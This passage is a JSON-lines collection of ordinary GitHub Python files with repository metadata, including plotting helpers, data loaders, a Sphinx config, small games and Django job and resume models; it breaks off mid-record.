+{"seq_id":"17626086596","text":"import helper as h\nfrom Logger import Logger\nfrom Parameter import Parameters\n\n\"\"\" Initializing Script Parameters \"\"\"\nargs = Parameters(description=\"Framework project\").parse()\n\n\"\"\" Initializing Logging Properties \"\"\"\nlog_path = args.var_dir / \"log\" / f\"debug-{h.date_delta(out_fmt='%Y%m%d-%H%M.%S')}.log\"\nlog = Logger(log_path).get_logger()\n\n\ndef main():\n    log.info(\"INFO\")\n    log.debug(\"DEBUG\")\n    log.critical(\"CRITICAL\")\n    log.error(\"ERROR\")\n    log.warning(\"WARNING\")\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"SKJTCodes/example","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24257824370","text":"import datetime\nimport pathlib\nimport string\n\nimport sphinxcontrib.katex as katex\nimport yaml\n\nimport pymanopt\n\n\ndef get_doc_versions():\n    \"\"\"Retrieve doc versions from github workflow file.\"\"\"\n    root = pathlib.Path(__file__).resolve().parent.parent\n    yaml_file = root / \".github\" / \"workflows\" / \"build_documentation.yml\"\n    with open(str(yaml_file)) as fp:\n        doc_config = yaml.safe_load(fp)\n    return doc_config[\"jobs\"][\"docs\"][\"strategy\"][\"matrix\"][\"version\"]\n\n\n# Package information\nproject = \"Pymanopt\"\nauthor = \"Jamie Townsend, Niklas Koep, Sebastian Weichwald\"\ncopyright = f\"2016-{datetime.date.today().year}, {author}\"\nrelease = version = pymanopt.__version__\n\n# Build settings\nextensions = [\n    \"myst_parser\",\n    \"nbsphinx\",\n    \"sphinx.ext.autodoc\",\n    \"sphinx.ext.autosectionlabel\",\n    \"sphinx.ext.coverage\",\n    \"sphinx.ext.doctest\",\n    \"sphinx.ext.napoleon\",\n    \"sphinx.ext.viewcode\",\n    \"sphinxcontrib.katex\",\n]\nmaster_doc = \"index\"\nlanguage = None\n\n# autodoc\nautodoc_typehints = \"description\"\n\n# Output options\nhtml_theme = \"sphinx_rtd_theme\"\nhtml_static_path = [\"_static\"]\nhtml_style = \"css/style.css\"\nhtml_logo = \"logo.png\"\nhtml_show_sphinx = False\nhtml_baseurl = \"pymanopt.org\"\nhtmlhelp_basename = \"pymanoptdoc\"\nhtml_last_updated_fmt = \"\"\n\n# Doc version sidebar\ntemplates_path = [\"_templates\"]\nhtml_context = {\"doc_versions\": get_doc_versions()}\n\n# autodoc\nautodoc_default_options = {\n    \"member-order\": \"bysource\",\n    \"members\": True,\n    \"undoc-members\": True,\n    \"show-inheritance\": True,\n}\n\n# nbsphinx\nnbsphinx_execute_arguments = [\n    \"--InlineBackend.figure_formats={'svg', 'pdf'}\",\n    \"--InlineBackend.rc={'figure.dpi': 96}\",\n]\nnbsphinx_prolog = r\"\"\"\n{% set docname = env.doc2path(env.docname, base=None) %}\n.. only:: html\n\n    .. role:: raw-html(raw)\n        :format: html\n    .. nbinfo::\n        :raw-html:`<a href=\"https://github.com/pymanopt/pymanopt/blob/master/{{\n        docname }}\"><img alt=\"Open on GitHub\"\n        src=\"https://img.shields.io/badge/Open-on%20GitHub-blue?logo=GitHub\"\n        style=\"vertical-align:text-bottom\"></a>`\n\"\"\"\n\n# katex\nkatex_version = \"0.15.1\"\nkatex_css_path = (\n    f\"https://cdn.jsdelivr.net/npm/katex@{katex_version}/dist/katex.min.css\"\n)\nkatex_js_path = (\n    f\"https://cdn.jsdelivr.net/npm/katex@{katex_version}/dist/katex.min.js\"\n)\nkatex_autorender_path = (\n    f\"https://cdn.jsdelivr.net/npm/katex@{katex_version}/dist/contrib/\"\n    \"auto-render.min.js\"\n)\n# TODO(nkoep): Move this macro generation to its own module.\nlatex_macros = r\"\"\"\n    \\def \\manM   {\\mathcal{M}}\n    \\def \\R      {\\mathbb{R}}\n    \\def \\Id     {\\mathrm{Id}}\n    \\def \\set    #1{\\{#1\\}}\n    \\def \\inner  #2{\\langle #1, #2 \\rangle}\n    \\def \\opt    #1{#1^\\star}\n    \\def \\sphere {\\mathcal{S}}\n\"\"\"\n# Generate macros for boldface letters.\nlatex_macros += \"\\n\".join(\n    [\n        r\"\\def \\vm{letter} {{\\mathbf{{{letter}}}}}\".format(letter=letter)\n        for letter in string.ascii_lowercase + string.ascii_uppercase\n    ]\n)\nkatex_macros = katex.latex_defs_to_katex_macros(latex_macros)\nkatex_options = (\n    \"macros: {\"\n    + katex_macros\n    + \"\\n\"\n    + r'\"\\\\argmin\":'\n    + r'\"\\\\mathop{\\\\operatorname{argmin}}\\\\limits\"'\n    + \"}\"\n)\nprint(f\"Defined KaTeX macros:\\n{katex_macros}\")\nlatex_elements = {\"preamble\": latex_macros}\n","repo_name":"pauljasonthomas/pymanopt","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"15377631263","text":"import tkinter\n\nwin = tkinter.Tk()\nwin.title(\"标题\")\n\n#<Shift-Up>\n#<Control-p>\ndef func(event):\n    print(\"event.chr = \", event.char)\n    print(\"event.keycode = \", event.keycode)\nwin.bind(\"<Control-p>\",func)\n\nwin.mainloop()\n\n","repo_name":"LasterSmithKim/Python-Base","sub_path":"tk/32.组合按键事件.py","file_name":"32.组合按键事件.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19203335812","text":"import bokeh.plotting as plt\nimport numpy as np\nimport sklearn.manifold as manifold\nimport ujson\n\n__author__ = 'amanda'\n\n\ndef load_data():\n    data = np.load('tmp/pca_data.npz')\n    pca_feature = data['pca_feature_arr']\n    return pca_feature\n\n\ndef embed_show(img_list, feats, html_file_name='figure.html'):\n    # mapper = manifold.TSNE()\n    # locs = mapper.fit_transform(feats)\n    locs = feats\n    p = plt.figure(plot_width=2400, plot_height=1200)\n    p.image_url(x=locs[:, 0], y=locs[:, 1], url=img_list, w=0.5, h=0.5, anchor=\"center\")\n    p.circle(x=locs[:, 0], y=locs[:, 1])\n\n    plt.output_file(html_file_name)\n    plt.save(p)\n    plt.show(p)\n    return\n\n\nif __name__ == '__main__':\n    with open('data/imagePathFile.json') as data_file:\n        image_list = ujson.load(data_file)\n    feature_list = load_data()\n\n    save_file_name = './pc_visualization_fig/pc_12.html'\n    loc = feature_list[:, 0:2]  # visualize only the first two dimensions.\n    embed_show(image_list, feature_list)\n","repo_name":"amandasongmm/attractiveness_datamining","sub_path":"example_code/may/bokehScatterPlot.py","file_name":"bokehScatterPlot.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"39791191637","text":"import h5py\nimport numpy as np\n\n\ndef convert_rgb_to_bokehrgba(img_data, downsample=1):\n    \"\"\"\n    Convert RGB image to two-dimensional array of RGBA values (encoded as 32-bit integers)\n    (required by Bokeh). The functionality is currently not available in Bokeh.\n    An issue was raised here: https://github.com/bokeh/bokeh/issues/1699 and this function is a\n    modified version of the suggested solution.\n\n    Arguments:\n        img_data: img (ndarray, shape: [N, M, 3], dtype: uint8): image data\n        dh: height of image\n        dw: width of image\n\n    Returns:\n        img (ndarray): 2D image array of RGBA values\n    \"\"\"\n    if img_data.dtype != np.uint8:\n        raise NotImplementedError\n\n    if img_data.ndim != 3:\n        raise NotImplementedError\n\n    # downsample for render performance, v-flip since plot origin is bottom left\n    # img_data = np.transpose(img_data, (1,2,0))\n    img_data = img_data[::-downsample, ::downsample, :]\n    img_h, img_w, C = img_data.shape\n\n    # add an alpha channel to the image and recast from pixels of u8u8u8u8 to u32\n    #bokeh_img = np.dstack([img_data, 255 * np.ones((img_h, img_w), np.uint8)])\n    #final_image = bokeh_img.reshape(img_h, img_w * (C+1)).view(np.uint32)\n    # put last 3 frames into separate color channels and add alpha channel\n    bokeh_img = np.dstack([img_data[:,:,1], img_data[:,:,2], img_data[:,:,3], 255 * np.ones((img_h, img_w), np.uint8)])\n    final_image = bokeh_img.reshape(img_h, img_w * 4).view(np.uint32)\n\n    return final_image\n\n\ndef h5_deconv_data(f):\n    \"\"\"\n    Read deconv visualization data from hdf5 file.\n\n    Returns:\n        list of lists. Each inner list represents one layer, and consists of\n        tuples (fm, deconv_data)\n    \"\"\"\n    ret = list()\n\n    if 'deconv' not in f.keys():\n        return None\n    act_data = f['deconv/max_act']\n    img_data = f['deconv/img']\n\n    for layer in act_data.keys():\n        layer_data = list()\n        for fm in range(act_data[layer]['vis'].shape[0]):\n\n            # to avoid storing entire dataset, imgs are cached as needed, have to look up\n            batch_ind, img_ind = act_data[layer]['batch_img'][fm]\n            img_store = img_data['batch_{}'.format(batch_ind)]\n            img_cache_ofs = img_store.attrs[str(img_ind)]\n\n            # have to convert from rgb to rgba and cast as uint32 dtype for bokeh\n            plot_img = convert_rgb_to_bokehrgba(img_store['HWC_uint8'][:, :, :, img_cache_ofs])\n            plot_deconv = convert_rgb_to_bokehrgba(act_data[layer]['vis'][fm])\n\n            layer_data.append((fm, plot_deconv, plot_img))\n\n        ret.append((layer, layer_data))\n\n    return ret\n","repo_name":"tambetm/simple_dqn","sub_path":"src/nvis/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":681,"dataset":"github-code","pt":"60"}
+{"seq_id":"30253223668","text":"import numpy as np\nfrom scipy.io import loadmat\n\n\ndef load_one_epoch(subject, data_type, epoch_num):\n    if data_type is 'train':\n        epoch_data=loadmat(\"data/{}{}-allfilt20.mat\".format(subject, epoch_num))\n\n    x=epoch_data['x']\n    y=epoch_data['y']\n    code=epoch_data['code']\n\n    return x, y, code\n\ndef load_data(subject, data_type, num_epoches):\n    X = list()\n    Y = list()\n    C = list()\n    for epoch_num in range(num_epoches):\n        #print(epoch_num)\n        x, y, code = load_one_epoch(subject, data_type, 1+epoch_num)\n\n        X.append(x)\n        Y.append(y)\n        C.append(code)\n        \n\n\n    X = np.array(X)\n    Y = np.array(Y)\n    C = np.array(C)\n\n    print('loaded:')\n    print(X.shape)\n    print(Y.shape)\n    print(C.shape)    \n\n    num_trials = X.shape[1]\n    data_dim = X.shape[2]\n\n    # stack epoches\n    X = X.reshape(-1,data_dim)\n    Y = Y.ravel()\n    C = C.ravel()    \n\n    print('stacked:')\n    print(X.shape)\n    print(Y.shape)\n    print(C.shape)    \n    \n    return X, Y, C\n\n\ndef load_channel_mask(subject, num_channels):\n    return np.loadtxt('mask/{}_chosen_channel_mask_{}.txt'.format(subject,num_channels), dtype=int)\n\n\ndef apply_mask(X, mask):\n    data_dim = X.shape[1]\n    num_channels = len(mask)\n    samples_per_channel = int(data_dim / num_channels)\n    \n#     print(X.shape)\n#     print(data_dim)\n#     print(num_channels)\n#     print(samples_per_channel)    \n    \n    index = np.repeat(mask,samples_per_channel)\n    \n#     print(mask)\n#     print(np.repeat(mask,samples_per_channel))\n\n    return X[:,index>0]\n\n\n","repo_name":"ys7yoo/iP300","sub_path":"P300.py","file_name":"P300.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15144292754","text":"from typing import Optional\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef plot_features(\n    column_names: list[str],\n    data: np.ndarray,\n    secondary_data: Optional[np.ndarray] = None,\n):\n    \"\"\"Make a plot of features extracted from a list of tracks in Spotify\"\"\"\n\n    if secondary_data is not None and data.shape[1] != secondary_data.shape[1]:\n        raise IndexError(\"Data of different dimensions\")\n\n    fig, axes = plt.subplots(\n        len(column_names),\n        len(column_names),\n        figsize=(len(column_names) * 2, len(column_names) * 2),\n    )\n    for i, col_i in enumerate(column_names):\n        for j, col_j in enumerate(column_names):\n            axis: plt.Axes = axes[j, i]  # type: ignore\n            axis.scatter(data[:, i], data[:, j], s=1, c=\"tab:blue\")\n            if secondary_data is not None:\n                axis.scatter(\n                    secondary_data[:, i], secondary_data[:, j], s=1, c=\"tab:orange\"\n                )\n            axis.set_xticks([])\n            axis.set_xticklabels([])\n            axis.set_yticks([])\n            axis.set_yticklabels([])\n            if i == 0:\n                axis.set_ylabel(col_j)\n            if j == 0:\n                axis.set_xlabel(col_i)\n                axis.xaxis.set_label_position(\"top\")\n\n    # Remove white-space between subplots\n    plt.subplots_adjust(wspace=0, hspace=0)\n    return fig, axes\n","repo_name":"AndersBennedsgaard/Spotify-recommendation-project","sub_path":"spotirecs/plotting/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":1390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"36150268638","text":"import json\nimport re\nimport os \n\nfrom docs_meta import get_manual_path\nfrom fabric.api import task, env, abort, puts, local\n\nenv.input_file = None\nenv.output_file = None\n\n@task\ndef input(fn):\n    env.input_file = fn\n\n@task\ndef output(fn):\n    env.output_file = fn\n\n@task\ndef json_output():\n    if env.input_file is None or env.output_file is None:\n        abort('[json]: you must specify input and output files.')\n\n    with open(env.input_file, 'r') as f:\n        document = f.read()\n\n    doc = json.loads(document)\n    \n    if 'body' not in doc:\n        pass\n    else:\n        text = doc['body'].encode('ascii', 'ignore')\n\n        text = re.sub('<[^>]*>', '', text)\n        text = re.sub('&#8220;', '\"', text)\n        text = re.sub('&#8221;', '\"', text)\n        text = re.sub('&#8216;', \"'\", text)\n        text = re.sub('&#8217;', \"'\", text)\n        text = re.sub('&#\\d{4};', '', text)\n\n        doc['text'] = ' '.join(text.split('\\n')).strip()\n\n        url = [ 'http://docs.mongodb.org', get_manual_path() ]\n        url.extend(env.input_file.rsplit('.', 1)[0].split('/')[3:])\n\n        doc['url'] = '/'.join(url)\n\n    with open(env.output_file, 'w') as f:\n        f.write(json.dumps(doc))\n\n","repo_name":"riboflavin/docs","sub_path":"fabfile/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"29176290309","text":"#config for training\nimport tensorflow as tf\n\nBUFFER_SIZE =25000 # 60000\nBATCH_SIZE = 2**10 #2**6 for RFI-Net on GPU-Serv\nbce = tf.keras.losses.BinaryCrossentropy()\nmse = tf.keras.losses.MeanSquaredError()\nmae=tf.keras.losses.MeanAbsoluteError()\n\n### AE Parameters for CIFAR, MNIST, FMNIST \nn_filters =32 \nn_layers =2\n","repo_name":"mesarcik/RFI-NLN","sub_path":"model_config.py","file_name":"model_config.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"41427217427","text":"import random\n\nimport pytest\n\nfrom ethosu.vela.api import npu_create_driver_payload\nfrom ethosu.vela.api import NpuAccelerator\n\n\n@pytest.mark.parametrize(\"accelerator\", list(NpuAccelerator))\ndef test_create_driver_payload(accelerator: NpuAccelerator):\n    \"\"\"Tests npu_create_driver_payload\"\"\"\n    # Generate a random command stream with defined beginning and end\n    random.seed(0)\n    num_commands = 793\n    register_command_stream = random.choices(range(1 << 32), k=num_commands)\n    register_command_stream[0] = 0xFEDCBA98\n    register_command_stream[-1] = 0xA0B1C2D3\n    payload = npu_create_driver_payload(register_command_stream, accelerator)\n    header_size = 32  # expected driver header size in bytes\n    assert len(payload) == header_size + 4 * num_commands\n    # Check that the first register command is located directly after the header\n    assert list(payload[header_size : header_size + 4]) == [0x98, 0xBA, 0xDC, 0xFE]\n    # Check that the last register command is present in the payload\n    assert list(payload[-4:]) == [0xD3, 0xC2, 0xB1, 0xA0]\n","repo_name":"nxp-imx/ethos-u-vela","sub_path":"ethosu/vela/test/extapi/test_extapi_create_payload.py","file_name":"test_extapi_create_payload.py","file_ext":"py","file_size_in_byte":1061,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"70768931072","text":"import dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.graph_objects as go\nfrom components.stacked_power_graph import get_plotly_stacked_power_figures\n\nPOWER_COLUMNS = [\n    {'name': 'Station Name', 'id': 'station_name'},\n    {'name': 'Category', 'id': 'category'},\n    {'name': 'Annual Power Output', 'id': 'annual_output'},\n    {'name': 'Planned Closing Year', 'id': 'closing_year'},\n]\n\nPOWER_DATA = [\n    {\n        \"station_name\": \"Rabin\",\n        \"category\": \"Coal\",\n        \"annual_output\": 50,\n        \"closing_year\": 2030,\n    },\n    {\n        \"station_name\": \"Hovav\",\n        \"category\": \"Coal\",\n        \"annual_output\": 100,\n        \"closing_year\": 2040,\n    },\n    {\n        \"station_name\": \"Reading\",\n        \"category\": \"Coal\",\n        \"annual_output\": 10,\n        \"closing_year\": 2025,\n    },\n    {\n        \"station_name\": \"Tveria\",\n        \"category\": \"Coal\",\n        \"annual_output\": 30,\n        \"closing_year\": 2034,\n    },\n    {\n        \"station_name\": \"Ashalim\",\n        \"category\": \"Solar\",\n        \"annual_output\": 20,\n        \"starting_year\": 2032,\n    },\n    {\n        \"station_name\": \"Ktora Sun 1\",\n        \"category\": \"Green\",\n        \"annual_output\": 100,\n        \"yearly_degradation\": 0.1,\n        \"starting_year\": 2040,\n    },\n    {\n        \"station_name\": \"Ktora Sun 2\",\n        \"category\": \"Solar\",\n        \"annual_output\": 70,\n        \"yearly_degradation\": 0.006,\n        \"starting_year\": 2028,\n    },\n    {\n        \"station_name\": \"Eshkol\",\n        \"category\": \"Hydro\",\n        \"annual_output\": 70,\n        \"starting_year\": 2034,\n    },\n]\n\nYEARS = [year for year in range(2020, 2051)]\nCATEGORY_COLORS = {\n    \"Coal\": 'black',\n    \"Solar\": 'yellow',\n    \"Hydro\": 'blue',\n    \"Green\": 'green',\n}\n\ndef get_power_source_data(item):\n    start_year = item.get(\"starting_year\", YEARS[0])\n    close_year = item.get(\"closing_year\", YEARS[-1])\n\n    values = {}\n    values[YEARS[0]] = item['annual_output'] if start_year == YEARS[0] else 0\n\n    for index, year in enumerate(YEARS[1:]):\n        value = 0\n        if year == start_year:\n            value = item[\"annual_output\"]\n        elif start_year < year <= close_year:\n            value = values[YEARS[index]] * (1 - item.get(\"yearly_degradation\", 0))\n        values[year] = value\n\n    return {\n        'name': item['station_name'],\n        'color': CATEGORY_COLORS[item[\"category\"]],\n        'data': values\n    }\n\n\ndef get_power_layout():\n    fig = go.Figure()\n\n    power_sources = []\n    for item in POWER_DATA:\n        power_sources.append(get_power_source_data(item))\n\n    traces = get_plotly_stacked_power_figures(YEARS, power_sources)\n\n    for t in traces:\n        fig.add_trace(t)\n\n    return html.Div([\n        dcc.Graph(figure=fig),\n    ])\n","repo_name":"nzo-il/nzo-model","sub_path":"power_by_category.py","file_name":"power_by_category.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"20792534086","text":"import random\r\nprint(\"Number Guessing Game\")\r\nnumber = random.randint(1,9)\r\nchances = 0\r\nguess = int(input(\"Enter a Number: \"))\r\n\r\nwhile chances < 5:\r\n    if guess==number:\r\n        print(\"Congratulations, You Won\")\r\n        break\r\n    elif guess < number: \r\n        print(\"Too Low\")\r\n        chances+=1\r\n    else: \r\n        print(\"Too High\")\r\n        chances+=1\r\n        break\r\nif not chances < 5:\r\n    print(\"You Lose, the number is\", number)\r\n","repo_name":"MelvynnHadia/project.97v2","sub_path":"guessingGame.py","file_name":"guessingGame.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17087804146","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n    Check all the lustre agent setups and look for any dysfunctional behavior.\n    The following modules will be checked:\n        - Communication with server\n\n Misha Ahmadian (misha.ahmadian@ttu.edu)\n\"\"\"\nfrom threading import Event\nimport socket\nimport sys\nimport time\n# Access to the 'packages' directory for all python files\nsys.path.append('../packages/')\nfrom schedComm import SchedConnection, CommunicationExp\n\ndef main():\n    try:\n        schedConn = SchedConnection(is_rpc=True)\n        schedConn.start_RPC_server(callback)\n\n        print(\"An RPC Request was recieved and a reply was sent successfully\")\n\n    except CommunicationExp as commExp:\n        print(f\"[Error]: {commExp}\")\n\n    except Exception as exp:\n        print(f\"[Error]: {exp}\")\n\ndef callback(msg, result: list, event: 'Event'):\n    timer = 5\n    print(f\"Recieved an RPC request from [{msg}]\")\n    result.append(f\"[{socket.gethostname()}] recieved an RPC message from [{msg}]\")\n\nif __name__ == '__main__':\n    try:\n        main()\n    except KeyboardInterrupt:\n        pass","repo_name":"mishahmadian/HPC_Provenance","sub_path":"agent_sched/utils/verify_sched_setup.py","file_name":"verify_sched_setup.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7251902700","text":"\"\"\"\niLQR with dynamics\n==============================\n\nThis example shows how to use the iLQR solver with dynamics model .\n\"\"\"\n\nimport rofunc as rf\nimport numpy as np\nfrom rofunc.config.utils import get_config\n\ncfg = get_config('./planning', 'ilqr')\n\n# via-points\nMu = np.array([[2, 1, -np.pi / 3], [3, 2, -np.pi / 3]])  # Via-points [x, y, orientation]\nRot = np.zeros([cfg.nbPoints, 2, 2])  # Object orientation matrices\n\n# Object rotation matrices\nfor t in range(cfg.nbPoints):\n    orn_t = Mu[t, -1]\n    Rot[t, :, :] = np.asarray([\n        [np.cos(orn_t), -np.sin(orn_t)],\n        [np.sin(orn_t), np.cos(orn_t)]\n    ])\n\nu0 = np.zeros(cfg.nbVarU * (cfg.nbData - 1))  # Initial control command\nx0 = np.array([3 * np.pi / 4, -np.pi / 2, -np.pi / 4])  # Initial state\nv0 = np.array([0, 0, 0])  # initial velocity (in joint space)\n\nrf.lqr.uni_dyna(Mu, Rot, u0, x0, v0, cfg)\n","repo_name":"Skylark0924/Rofunc","sub_path":"examples/planning_control/example_ilqr_dyna.py","file_name":"example_ilqr_dyna.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"60"}
+{"seq_id":"74715128189","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport smtplib\n\nr = requests.get(\"https://jobs.lever.co/vannevarlabs-2\")\n\nsoup = BeautifulSoup(r.content, \"html.parser\")\n\ns = soup.find(\"div\", class_=\"postings-wrapper\")\n\ncontent = s.find_all(\"h5\")\n\ntitles = []\nlinks = []\n\nfor c in content:\n    titles.append(c.text)\n    # print(c.text)\n\nfor link in s.find_all(\"a\"):\n    links.append(link.get(\"href\"))\n    # print(link.get(\"href\"))\n\nfor listings in zip(titles, links):\n    print(listings)\n\nd = {\"Title\": titles, \"Link\": links}\ndf = pd.DataFrame.from_dict(d, orient = \"index\")\ndf = df.transpose()\ndf.to_csv(\"Vannevar_Labs_Job_Listings.csv\", index = False, encoding = \"utf-8\")\n","repo_name":"Yumulak/djangowebscraper","sub_path":"JobScrappy/scraper2.py","file_name":"scraper2.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"2676091489","text":"import cv2\nimport sys\nfrom torchvision.datasets import ImageFolder\nimport torchvision.transforms as transforms\nimport torch\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom face_cnn import FaceCNN\n\ntrans = transforms.Compose([transforms.ToPILImage(), transforms.Resize((48, 48)),\n                            transforms.Grayscale(), transforms.ToTensor(),\n                            transforms.Normalize([0],[1])])\n\nface_cnn = FaceCNN()\nface_cnn.load_state_dict(torch.load('best_binary.pth'))\nface_cnn.eval()\n\nimagePath = sys.argv[1]\ncascPath = \"haarcascade_frontalface_default.xml\"\nfaceCascade = cv2.CascadeClassifier(cascPath)\nimage = cv2.imread(imagePath)\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n#detection\nfaces = faceCascade.detectMultiScale(\n    gray,\n    scaleFactor=1.1,\n    minNeighbors=5,\n    minSize=(30, 30)\n)\n\n#print(\"Found {0} faces!\".format(len(faces)))\n# rectangle time :) \nfor (x, y, w, h) in faces:\n    cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n    sub_face = image[y:y+h, x:x+w]\n    sub_img = trans(sub_face)\n    out = face_cnn(sub_img.view(1,1,48,48))\n    _, pred = torch.max(out.data, 1)\n\n    #print(pred)\n\n    # this is the simplified version -- works for only 2 emotions right now. \n    if (pred == 0):\n        cv2.putText(image, \"Disgust\", (x, y-5),\n                    cv2.FONT_HERSHEY_TRIPLEX, 0.45, (0,255,0),1)\n    else:\n        cv2.putText(image, \"Not Disgust\", (x, y-5),\n                    cv2.FONT_HERSHEY_TRIPLEX, 0.45, (0,255,0),1)\n    \n\ncv2.imshow(\"observed emotions\", image)\ncv2.waitKey(0)\n","repo_name":"annemwm/mood-map","sub_path":"single_image_moodmap.py","file_name":"single_image_moodmap.py","file_ext":"py","file_size_in_byte":1578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"70506966913","text":"t = int(input())\nop =[]\n\nfor i in range(t):\n    op1 = []\n    inp = input().split()\n    for x in range(1, len(inp)):\n        unit = int(inp[x])%10\n        if unit != 7:\n            op1.append(inp[x])\n\n    op.append(op1)\n\nfor x in op:\n    for i in x:\n        print(i, end=\" \")\n    print()\n","repo_name":"CCAtAlvis/CollegeStuff","sub_path":"gstarena/GSF2018/GSFEB18B.py","file_name":"GSFEB18B.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5424588225","text":"from django.conf import settings\nfrom django.contrib.contenttypes.fields import GenericRelation\nfrom django.core.urlresolvers import reverse\nfrom django.db import models\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom b24online.models import Vacancy, Country, ContextAdvertisement, IndexedModelMixin, ActiveModelMixing\n\n\nclass Requirement(ActiveModelMixing, models.Model, IndexedModelMixin):\n    title = models.CharField(max_length=255, blank=False, null=False)\n    slug = models.SlugField(max_length=255)\n    vacancy = models.ForeignKey(Vacancy, related_name='job_requirement', db_index=True)\n    city = models.CharField(max_length=255, null=False, blank=False)\n    description = models.TextField(blank=False, null=False)\n    requirements = models.TextField(blank=False, null=False)\n    terms = models.TextField(blank=False, null=False)\n    is_anonymous = models.BooleanField(default=False)\n    keywords = models.CharField(max_length=255, blank=True, null=False)\n    country = models.ForeignKey(Country)\n    context_advertisements = GenericRelation(ContextAdvertisement)\n\n    TYPES_OF_EMPLOYMENT = [\n        ('full_time', _('Full-time')),\n        ('partial', _('Partial')),\n        ('shifts', _('Shifts')),\n        ('for_students', _('For students')),\n    ]\n\n    type_of_employment = models.CharField(max_length=10, null=False, blank=False, choices=TYPES_OF_EMPLOYMENT)\n    is_active = models.BooleanField(default=True)\n    is_deleted = models.BooleanField(default=False)\n\n    created_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='%(class)s_create_user')\n    updated_by = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='%(class)s_update_user')\n    created_at = models.DateTimeField(default=timezone.now, db_index=True)\n    updated_at = models.DateTimeField(auto_now=True)\n\n    @property\n    def organization(self):\n        return self.vacancy.department.organization\n\n    @staticmethod\n    def get_index_model(**kwargs):\n        from b24online.search_indexes import RequirementIndex\n        return RequirementIndex\n\n    def get_absolute_url(self):\n        return reverse('vacancy:detail', args=[self.slug, self.pk])\n\n    def has_perm(self, user):\n        return self.vacancy.has_perm(user)\n\n    def __str__(self):\n        return self.title\n\n\nclass Resume(ActiveModelMixing, models.Model, IndexedModelMixin):\n    MARITAL_STATUSES = [\n        ('married', _('Married')),\n        ('widowed', _('Widowed')),\n        ('separated', _('Separated')),\n        ('divorced', _('Divorced')),\n        ('single', _('Single')),\n    ]\n\n    STUDY_FORMS = [\n        ('extramural', _('Extramural')),\n        ('full_time', _('Full-time'))\n    ]\n\n    title = models.CharField(max_length=255, blank=False, null=False)\n    slug = models.SlugField(max_length=255)\n    marital_status = models.CharField(max_length=10, blank=True, null=True, choices=MARITAL_STATUSES)\n    nationality = models.CharField(max_length=255, null=False, blank=True)\n    telephone_number = models.CharField(max_length=255)\n    address = models.CharField(max_length=255, null=True, blank=True)\n    faculty = models.CharField(max_length=255, null=True, blank=True)\n    profession = models.CharField(max_length=255, null=True, blank=True)\n    user = models.ForeignKey(settings.AUTH_USER_MODEL)\n    is_active = models.BooleanField(default=True)\n    is_deleted = models.BooleanField(default=False)\n    study_start_date = models.DateField(blank=True, null=True)\n    study_end_date = models.DateField(blank=True, null=True)\n    study_form = models.CharField(max_length=30, choices=STUDY_FORMS, null=True, blank=True)\n    company_exp_1 = models.CharField(max_length=255, null=True, blank=True)\n    company_exp_2 = models.CharField(max_length=255, null=True, blank=True)\n    company_exp_3 = models.CharField(max_length=255, null=True, blank=True)\n    position_exp_1 = models.CharField(max_length=255, null=True, blank=True)\n    position_exp_2 = models.CharField(max_length=255, null=True, blank=True)\n    position_exp_3 = models.CharField(max_length=255, null=True, blank=True)\n    start_date_exp_1 = models.DateField(blank=True, null=True)\n    start_date_exp_2 = models.DateField(blank=True, null=True)\n    start_date_exp_3 = models.DateField(blank=True, null=True)\n    end_date_exp_1 = models.DateField(blank=True, null=True)\n    end_date_exp_2 = models.DateField(blank=True, null=True)\n    end_date_exp_3 = models.DateField(blank=True, null=True)\n    additional_study = models.CharField(max_length=1024, null=True, 